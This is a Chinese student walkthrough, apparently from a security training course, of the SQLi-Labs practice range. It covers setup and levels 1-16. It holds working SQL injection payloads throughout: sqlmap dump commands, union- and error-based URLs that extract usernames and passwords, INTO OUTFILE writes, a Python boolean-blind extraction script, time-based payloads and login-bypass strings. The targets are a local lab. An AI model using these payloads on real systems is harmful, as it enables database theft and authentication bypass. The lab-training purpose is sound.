零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)

文章来源 | MS08067 Web零基础就业班1期作业

本文作者:giunwr、tyrant(零基础1期)


SQLi-Labs是一个专业的SQL注入漏洞练习靶场,零基础的同学学SQL注入的时候,sqli-labs这个靶场是必练的,它里面包含了很多注入场景,以及在sql注入的时候遇到的各种问题,适用于GET和POST场景,包含了以下注入:

零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第1张图片

一、作业描述

完成sqllibs前18关,尽可能使用多的方法

二、sqllibs安装和sqlmap的安装

(一)、sqllibs安装

把对应该文件放在网站根目录下面,打开配置文件,修改密码

零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第2张图片同时在自己的数据库中,执行该文件里面的命令即可

零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第3张图片安装成功后的效果

零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第4张图片
(二)、sqlmap安装

环境:windows 10+python3 工具下载地址:https://github.com/sqlmapproject/sqlmap

安装步骤:下载好工具后,解压

零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第5张图片

创建访问快捷方式:

桌面右键创建快捷方式零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第6张图片零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第7张图片

零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第8张图片

创建好后右击属性,修改一下起始路径(就是你sqlMap的文件夹)

零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第9张图片打开测试是否安装成功 python3 sqlmap.py -h零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第10张图片

三、第一关

(一)、使用sqlmap工具注入

判断是否有注入点python3 sqlmap.py -u "http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1"

零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第11张图片

找出当前数据库python3 sqlmap.py -u "http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1" --current-db零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第12张图片

找出当前数据库下面的表python3 sqlmap.py -u "http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1" --tables -D "security"零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第13张图片

找出users中的字段,发现有我们需要的账号密码信息python3 sqlmap.py -u "http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1" --columns -D "security" -T "users"零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第14张图片

获取users表下的信息python3 sqlmap.py -u "http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1" --columns -D "security" -T "users" -dump零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第15张图片或者使用这个命令python3 sqlmap.py -u "http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1" --dump -D "security" -T "users" -C "password,username"零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第16张图片

(二)、手动联合注入
  1. 判断是否存在注⼊及注⼊类型 说明是单引号注入http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1'")

零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第17张图片2、判断列数 可以看出当前是表是有3列数据http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=-1%27%20order%20by%204--+零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第18张图片http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=-1%27%20order%20by%203--+零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第19张图片

5、判断回显位置http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,2,3--+零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第20张图片4、爆数据库 当前数据库为:securityhttp://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,database(),3--+零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第21张图片5、爆表 有个users表http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,CONVERT((SELECT%20group_concat(table_name)%20FROM%20information_schema.TABLES%20where%20TABLE_SCHEMA%20=%22security%22)USING%20gbk),3--+http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,CONVERT((SELECT%20group_concat(table_name)%20FROM%20information_schema.TABLES%20where%20TABLE_SCHEMA%20=%22security%22)USING%20gbk),3--+

6、爆字段http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,CONVERT((SELECT group_concat(COLUMN_NAME) FROM information_schema.COLUMNS where TABLE_SCHEMA ="security" AND TABLE_NAME="users")USING gbk),3--+9c6f878ba962ea430d295df36318db87.png

7、爆数据http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,CONVERT((select group_concat(username) from security.users)USING gbk),CONVERT((select group_concat(password) from security.users)USING gbk)--+零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第22张图片

(三)、手动报错注入

爆数据库http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1%27%20and%20extractvalue(0x7e,concat(0x7e,database(),0x7e))--+零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第23张图片爆表http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,CONVERT((SELECT%20group_concat(table_name)%20FROM%20information_schema.TABLES%20where%20TABLE_SCHEMA%20=%22security%22)USING%20gbk),0x7e))--+零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第24张图片爆字段http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,CONVERT((SELECT%20group_concat(COLUMN_NAME)%20FROM%20information_schema.COLUMNS%20where%20TABLE_SCHEMA%20=%22security%22%20AND%20TABLE_NAME=%22users%22)USING%20gbk),0x7e))--+5bc5da35ef9a8e7ec3f82c7748367f99.png爆数据 注意extractvalue()最多只能查询32个字符。http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,CONVERT((select%20group_concat(username)%20from%20security.users)USING%20gbk),0x7e))--+cbe62d6abdbcd42796ea166b337e342d.png而该字段有8个数据,而上面只获取了5个账号信息http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1' and extractvalue(1,concat(0x7e,(select count(*) from security.users),0x7e))--+零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第25张图片获取剩下的数据http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,CONVERT((select%20group_concat(username)%20from%20security.users%20where%20id%3E5)USING%20gbk),0x7e))--+零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第26张图片获取admin对应的密码http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,CONVERT((select%20group_concat(password)%20from%20security.users%20where%20id=8)USING%20gbk),0x7e))--+32e0917e5b518f6c0d45e199bd06a261.png

四、第二关

http://127.0.0.1/sqlilab/sqli-labs-master/Less-2/?id=1%27%22) 不是引号注入零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第27张图片http://127.0.0.1/sqlilab/sqli-labs-master/Less-2/?id=1%20and%201=1 正常 http://127.0.0.1/sqlilab/sqli-labs-master/Less-2/?id=1%20and%201=2 异常 判断为数字型SQL注入

其他步骤和第一关一样,只需要把第一关的单引号替换为 and 1=2即可,如http://127.0.0.1/sqlilab/sqli-labs-master/Less-2/?id=1%20and%201=2%20union%20select%201,2,database()%20--+

五、第三关

判断为')注入方式,其他步骤和第一关一样,只需要把第一关的单引号替换为')即可,如http://127.0.0.1/sqlilab/sqli-labs-master/Less-3/?id=1%27%22)--+零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第28张图片

六、第四关

判断为")注入方式,其他步骤和第一关一样,只需要把第一关的单引号替换为")即可,如http://127.0.0.1/sqlilab/sqli-labs-master/Less-4/?id=1%27%22)111零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第29张图片

七、第五关

判断为单引号注入,同时没有报错的时候不会回显内容,需要使用报错注入http://127.0.0.1/sqlilab/sqli-labs-master/Less-5/?id=1%27%22)零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第30张图片剩下的和第一关中的报错注入一模一样,如http://127.0.0.1/sqlilab/sqli-labs-master/Less-5/?id=1%27%20and%20extractvalue(0x7e,concat(0x7e,database(),0x7e))--+零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第31张图片

八、第六关

判断为双引号注入http://127.0.0.1/sqlilab/sqli-labs-master/Less-6/?id=1%27%22)111零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第32张图片其余参考第一关报错注入

九、第七关

注意mysql默认不允许上传和导出文件 需要修改配置文件my.ini secure_file_priv=,值为空就是不限制目录,默认为NULL不允许上传 数据库中查询语句SHOW VARIABLES LIKE "secure_file_priv"

零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第33张图片零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第34张图片

这边使用sqlmap注入python3 sqlmap.py -u "http://127.0.0.1/sqlilab/sqli-labs-master/Less-7/?id=1" --dump -D "security" -T "users" -C "password,username"零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第35张图片

手动注入判断注入类型:字符型注入 ?id=1'))

http://127.0.0.1/sqlilab/sqli-labs-master/Less-7/?id=1%27))%20Union%20select%201,2,database()%20into%20outfile%20%22F:/res.txt%22%20--+零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第36张图片其他的替换database()字段为我们需要的语句即可,如http://127.0.0.1/sqlilab/sqli-labs-master/Less-7/?id=1%27))%20Union%20select%201,2,CONVERT((SELECT%20group_concat(table_name)%20FROM%20information_schema.TABLES%20where%20TABLE_SCHEMA%20=%22security%22)USING%20gbk)%20into%20outfile%20%22F:/res1.txt%22%20--+

零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第37张图片

十、第八关

判断回显位置,闭合方式为单引号闭合http://127.0.0.1/sqlilab/sqli-labs-master/Less-8/?id=1%27or%201=1--+零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第38张图片

可以看出报错和不报错的明显差别

零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第39张图片

使用布尔盲注 python脚本如下

import requests
import string
mystring = string.printable #所有可⻅字符
url='http://127.0.0.1/sqlilab/sqli-labs-master/Less-8/'
# url+='?id=-1\' or (substring((select group_concat(username) from users),{0},1)=\'{1}\') -- -'
url+='?id=-1\' or (substring(database(),{0},1)=\'{1}\') -- -'
reply='You are in...........'
print(url)
count = 1
result = ''
while(True):
    temp_result=result
    for char in mystring:
        response=requests.get(url.format(count,char))
#         print((response.content))
#         print(url.format(count,char))
        if reply in str(response.content):
            result+=char
            print(result+'......')
            break
    if result==temp_result:
        print('Complete!')
        break
    if '+++' in result:
        print('result: '+result[0:-3])
        break
    count+=1

url+='?id=-1' or (substring(database(),{0},1)='{1}') -- -'这句代码中间的语句database()换成我们需要执行的语句即可,如截图中的 SELECT%20group_concat(table_name)%20FROM%20information_schema.TABLES%20where%20TABLE_SCHEMA%20=%22security%22零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第40张图片执行效果如下

零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第41张图片

十一、第九关

时间盲注

这一关,不管怎样构造闭合,都会跟成功显示了一样似的,看似没有问题。

零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第42张图片用时间盲注试了一下,用'就可以闭合。且能够判断出存在漏洞 127.0.0.1/sqlilabs/Less-9/?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5), 1 )--+零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第43张图片

可以看到,5秒后,页面才正常加载。在通过ASCII编码转义一下,完成注入。

十二、第十关

时间盲注

这一关跟第九个类似,用双引号闭合。利用时间盲注完成注入
零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第44张图片

十三、第十一关

万能密码

这一关,需要登录,猜测用户验证的语句为:select * from users where username='' and password = ''.
因此考虑在username这里构造闭合 1' or 1#,并or 1,让后边的条件为真。
零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第45张图片 零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第46张图片 零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第47张图片

十四、第十二关

这一关用户名输入1",通过错误提示,构造闭合为1") or 1# ,顺利过关
零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第48张图片 零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第49张图片

十五、第十三关

这一关用户名输入123',通过错误提示,构造闭合为1') or 1# ,顺利过关
零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第50张图片 零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第51张图片

十六、第十四关

这一关用户名输入1",通过错误提示,构造闭合为1" or 1# ,顺利过关
零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第52张图片 零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第53张图片

十七、第十五关

这一关,不论怎么输,不打印错误提示了,猜测他的查询语句,进行闭合猜测,并尝试1' or 1#,猜测正确,顺利过关。
零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第54张图片

十八、第十六关

类似15关,猜测语句为1") or 1 #,顺利过关
零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第55张图片

零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第56张图片

—  实验室旗下直播培训课程  —

零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第57张图片

零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第58张图片零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第59张图片

零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第60张图片

零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第61张图片

零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第62张图片

零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第63张图片

零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第64张图片


来和20000+位同学加入MS08067一起学习吧!

零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)_第65张图片

你可能感兴趣的:(sql,数据库)